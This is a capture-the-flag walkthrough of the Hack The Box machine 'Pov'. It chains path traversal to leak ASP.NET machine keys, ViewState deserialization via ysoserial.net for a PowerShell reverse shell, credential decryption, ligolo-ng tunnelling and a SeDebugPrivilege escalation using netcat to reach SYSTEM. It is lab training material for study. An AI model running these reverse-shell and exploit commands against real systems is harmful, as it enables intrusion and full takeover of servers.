Introduction
Pov is a Windows machine running an IIS web server with an ASP.NET app. Here’s the full path to root:
- Find a hidden subdomain →
dev.pov.htb - Read files you shouldn’t be able to → grab
web.configusing a path traversal trick - Get a shell as sfitz → abuse ASP.NET ViewState deserialization with keys stolen from
web.config - Move to alaading → decrypt a stored password from an XML file
- Get SYSTEM → abuse
SeDebugPrivilegeto hijack a privileged process
Key Concepts
What is IIS? Microsoft’s web server, like Apache but for Windows. Runs .aspx pages (ASP.NET).
What is ViewState? ASP.NET pages use a hidden form field called __VIEWSTATE to remember data between page loads. If the server’s secret signing keys leak, an attacker can forge a ViewState payload containing malicious code - and the server will execute it when it tries to deserialize it.
What is SeDebugPrivilege? A Windows permission that lets a user attach a debugger to any process - even ones running as SYSTEM. This can be abused to inject code into a privileged process and get a SYSTEM shell.
Enumeration
Nmap: find open ports
# Step 1: find all open ports fast
ports=$(nmap -p- --min-rate=1000 -T4 <TARGET> | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
# Step 2: run detailed scan on those ports only
nmap -p$ports -sC -sV <TARGET>
Result: Only port 80 (HTTP) is open. It’s running Microsoft IIS 10.0.
Add the hostname to your hosts file
Nmap shows the hostname is pov.htb. On Linux, you need to manually tell your system what IP that maps to:
echo "<TARGET> pov.htb" | sudo tee -a /etc/hosts
Why? HTB machines use virtual hosting - the web server serves different pages depending on what hostname you use. Without this, you’d just get a generic error.
Browse to http://pov.htb
You’ll see a generic business site. Nothing much here, but on the Contact Us page you’ll spot:
- Email:
sfitz@pov.htb- this is a potential username:sfitz - A reference to
dev.pov.htb- a subdomain you haven’t visited yet
Add the subdomain to your hosts file
sudo sed -i '$d' /etc/hosts
echo "<TARGET> pov.htb dev.pov.htb" | sudo tee -a /etc/hosts
Browse to http://dev.pov.htb
This is a developer portfolio page for “Stephen Fitz”. The page mentions ASP.NET and has a Download CV button. That button is our first attack surface.
File Read: Stealing web.config
Intercept the CV download with Burp Suite
When you click “Download CV”, Burp Suite captures the POST request. The body looks like this:
__EVENTTARGET=download&__EVENTARGUMENT=&__VIEWSTATE=...&file=cv.pdf
The file=cv.pdf parameter is directly controlling which file gets served. That’s suspicious - let’s try reading files we shouldn’t be able to.
Try path traversal
On IIS/Windows, web.config is the main config file. It lives at the root of the web app and often contains secrets. Try changing file= to read it:
file=../web.config
Problem: The server returns filename=web.config - it stripped the ../ part. There’s a filter removing path traversal.
Bypass the filter
A classic trick: if the filter removes ../ once, double it up so after removal you still get a valid traversal:
file=....//web.config
After the filter removes ../ from the middle, you’re left with ../web.config - which works!
You get the contents of web.config:
<configuration>
<system.web>
<machineKey decryption="AES"
decryptionKey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43"
validation="SHA1"
validationKey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" />
</system.web>
</configuration>
Why do these keys matter? ASP.NET uses these keys to sign and encrypt ViewState. With them, you can craft a fake ViewState that the server will blindly trust and execute.
Foothold: ViewState Deserialization → Shell as sfitz
What’s happening here
Every POST request to the site includes a __VIEWSTATE field. The server decrypts and deserializes it on every request. Deserialization = running code. If you can forge a valid ViewState (which you can, because you now have the keys), you can make the server execute any command.
Install the exploit tool
You need ysoserial.net - a tool for generating malicious serialized payloads. It’s a Windows .exe but you can run it on Linux via Wine:
# Install Wine and .NET support
sudo apt install mono-complete wine winetricks -y
winetricks dotnet48
# Download ysoserial.net
# Go to: https://github.com/pwntester/ysoserial.net/releases
# Download the latest zip and extract it
unzip ysoserial.zip
Verify your parameters first
Before sending a real payload, confirm your --path and --apppath values are correct by checking that the generated __VIEWSTATEGENERATOR matches what you saw in Burp. Run with --islegacy --isdebug to see the calculated value:
wine ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "mkdir c:\temp" \
--path="/portfolio" \
--apppath="/" \
--validationalg="SHA1" \
--validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" \
--decryptionalg="AES" \
--decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" \
--islegacy --isdebug
Look for: Calculated __VIEWSTATEGENERATOR (ignored): 8E0F0FA3
Check that this matches the __VIEWSTATEGENERATOR value in your Burp request. If it does, you’re good.
Generate your reverse shell payload
Step 1: Go to https://www.revshells.com, enter your tun0 IP and a port (e.g. 9001), select OS: Windows, Type: PowerShell #3 (Base64), and copy the generated command.
Step 2: Start your listener:
rlwrap nc -lvnp 9001
Step 3: Generate the malicious ViewState with your PowerShell payload:
wine ysoserial.exe -p ViewState -g TypeConfuseDelegate \
-c "powershell -e JABjAGwAaQBlAG4AdAAgAD0A...<YOUR BASE64 PAYLOAD HERE>..." \
--path="/portfolio" \
--apppath="/" \
--validationalg="SHA1" \
--validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" \
--decryptionalg="AES" \
--decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" \
--islegacy | tr -d '\n'
Important: The
| tr -d '\n'strips newlines from the output. If you don’t do this the payload will break.
Step 4: In Burp Repeater, replace the value of __VIEWSTATE in the POST body with the output from ysoserial. Send the request.
You get a shell as pov\sfitz.
PS C:\windows\system32\inetsrv> whoami
pov\sfitz
Lateral Movement: sfitz → alaading
Find the credential file
Look around sfitz’s home folder:
PS C:\users\sfitz> tree . /F
You’ll find: C:\Users\sfitz\Documents\connection.xml
Read the file
type Documents\connection.xml
It contains an encrypted password for the user alaading, stored as a PowerShell PSCredential object.
Why can you decrypt it? Windows PSCredential passwords are encrypted with DPAPI, which is tied to the current user’s session. Since you’re running as sfitz, and sfitz encrypted it, you can decrypt it.
Decrypt the password
$encryptedPassword = Import-Clixml -Path 'C:\Users\sfitz\Documents\connection.xml'
$decryptedPassword = $encryptedPassword.GetNetworkCredential().Password
$decryptedPassword
Result: f8gQ8fynP44ek1m3
Verify access as alaading
$securePassword = ConvertTo-SecureString "f8gQ8fynP44ek1m3" -AsPlainText -Force
$credential = New-Object System.Management.Automation.PsCredential("pov\alaading", $securePassword)
Invoke-Command -computername pov -Credential $credential -scriptblock { whoami /priv }
You’ll see alaading has SeDebugPrivilege. That’s your path to root.
Grab user.txt from C:\users\alaading\desktop\user.txt.
Get a Proper Shell as alaading (via Ligolo-ng Tunnel)
The Invoke-Command approach is limited. To get a full interactive shell, use ligolo-ng to tunnel WinRM traffic so you can connect with evil-winrm from your machine.
What is ligolo-ng?
Ligolo-ng creates a network tunnel between your machine and the target. Unlike chisel, it sets up a real virtual network interface on your machine - so you can reach internal services on the target directly, without proxychains.
Download ligolo-ng: https://github.com/nicocha30/ligolo-ng/releases You need two files:
proxy(runs on your machine) andagent.exe(runs on the target).
Step 1: Set up the ligolo interface on your machine
# Create the virtual tunnel interface (only need to do this once)
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
Step 2: Start the ligolo proxy on your machine
./proxy -selfcert -laddr 0.0.0.0:11601
-selfcertgenerates a self-signed cert automatically.-laddris the port the agent will connect back to.
Step 3: Serve and download agent.exe on the target
On your machine:
python3 -m http.server 80
On the target (as sfitz):
PS C:\users\sfitz\music> wget <YOUR_IP>/agent.exe -o agent.exe
Step 4: Run the agent on the target
PS C:\users\sfitz\music> .\agent.exe -connect <YOUR_IP>:11601 -ignore-cert
Back in your proxy terminal, you’ll see a session appear:
INFO[0005] Agent joined. name=pov\sfitz remote="<TARGET>:XXXXX"
Step 5: Start the tunnel
In the ligolo proxy console, type:
session # select the session (press Enter)
start # start the tunnel
Step 6: Add a route to the target’s internal network
# Route traffic for the target's subnet through the ligolo interface
sudo ip route add <TARGET>/24 dev ligolo
Why? Ligolo creates a real tunnel - you need to tell your OS to route traffic for the target’s network through it.
Step 7: Connect with evil-winrm (no proxychains needed!)
evil-winrm -i pov.htb -u alaading -p f8gQ8fynP44ek1m3
You now have a full shell as alaading, and SeDebugPrivilege is Enabled.
Privilege Escalation: alaading → SYSTEM (SeDebugPrivilege)
What is SeDebugPrivilege?
It lets you attach to any process on the system, including ones running as SYSTEM. If you can inject code into a SYSTEM process, you get SYSTEM. The tool psgetsys.ps1 does exactly this.
Upload the tools
# From your evil-winrm session (files must be in the folder you ran evil-winrm from)
*Evil-WinRM* PS C:\Users\alaading\Documents> upload nc64.exe
*Evil-WinRM* PS C:\Users\alaading\Documents> upload psgetsys.ps1
Download these from: nc64.exe and psgetsys.ps1
Find a SYSTEM process to hijack
winlogon.exe always runs as SYSTEM. Find its PID:
*Evil-WinRM* PS C:\Users\alaading\music> ps
Look for winlogon in the list. In the example it’s PID 552.
Start your listener
rlwrap nc -lvnp 9001
Execute the exploit
# Import the script
ipmo .\psgetsys.ps1
# Inject into winlogon (replace 552 with the actual PID you found)
ImpersonateFromParentPid -ppid 552 -command "c:\windows\system32\cmd.exe" -cmdargs "/c c:\users\alaading\music\nc64.exe <YOUR_IP> 9001 -e powershell"
What this does: Uses SeDebugPrivilege to spawn a process as a child of winlogon (which runs as SYSTEM), inheriting its token. That process connects back to your listener.
You get a shell as SYSTEM:
PS C:\Windows\system32> whoami
nt authority\system
Grab root.txt from C:\Users\Administrator\Desktop\root.txt.
Summary
nmap → port 80 (IIS) + hostname pov.htb
↓
Contact Us page → subdomain dev.pov.htb + username sfitz
↓
Download CV button → file= parameter → path traversal ....//web.config
↓
web.config leaks machineKey (decryptionKey + validationKey)
↓
ysoserial.net → forge malicious ViewState → RCE as sfitz
↓
C:\Users\sfitz\Documents\connection.xml → Import-Clixml → password f8gQ8fynP44ek1m3
↓
SSH/WinRM as alaading → SeDebugPrivilege enabled
↓
ligolo-ng tunnel → evil-winrm → psgetsys.ps1 → hijack winlogon (PID 552) → SYSTEM
Tools Used
| Tool | What it does | Link |
|---|---|---|
| ysoserial.net | Generates malicious .NET deserialization payloads | GitHub |
| Burp Suite | Intercepts and modifies HTTP requests | Built into Kali |
| ligolo-ng | Creates a real tunnel interface (no proxychains needed) | GitHub |
| evil-winrm | Full-featured WinRM shell client | gem install evil-winrm |
| psgetsys.ps1 | Exploits SeDebugPrivilege to impersonate SYSTEM | GitHub |
| nc64.exe | Netcat for Windows (reverse shells) | GitHub |
| revshells.com | Generates reverse shell one-liners | revshells.com |